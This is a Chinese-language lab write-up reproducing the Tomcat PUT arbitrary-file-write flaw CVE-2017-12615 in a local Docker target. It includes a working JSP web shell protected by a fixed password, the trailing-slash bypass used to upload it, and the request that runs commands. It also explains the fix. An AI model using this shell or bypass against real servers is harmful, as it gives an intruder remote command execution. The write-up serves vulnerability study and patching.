Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)复现

1 实验环境

软件名称版本部署方式IP
cve-2017-12615latestdocker run -d -p 8083:8080 –name tomcat-cve docker.io/cved/cve-2017-12615172.31.5.7

2 漏洞复现

开启burp抓包,访问 172.31.5.7:8083

image-20230401215252954

使用repeater 模块修改数据包,数据包内容如下:

<%
	if("user".equals(request.getParameter("pwd"))){
		java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("p")).getInputStream();
		int a = -1;
		byte[] b = new byte[2048];
		out.print("<pre>");
		while((a=in.read(b))!=-1){
			out.println(new String(b));
        }
        out.print("</pre");
    }
%>

发送修改后的数据包,返回状态码为204,表示成功写入一个shell.jsp文件至服务器

注意:tomcat本身不允许上传*.jsp文件,因此请求头行修改为/shell.jsp/

该请求到服务器后,文件名不允许有/,/被丢弃。因此最终生成文件名为shell.jsp

image-20230401220514780

使用浏览器访问该程序,成功执行命令pwd(任意命令均可)

http://172.31.5.7:8083/shell.jsp?pwd=user&p=pwd  

image-20230401220813152

3 漏洞原理

该漏洞主要是因为tomcat的web.xml配置文件中的readonly参数值为false,使得我们可以通过PUT方法写入文件

docker exec -it tomcat-cve bash -c "grep -A 2 readon conf/web.xml"

image-20230401222428182

所以修复该漏洞的方式也简单,将readonly的值设置为true即可

漏洞影响版本:Tomcat 7.0.0-7.0.79、8.5.19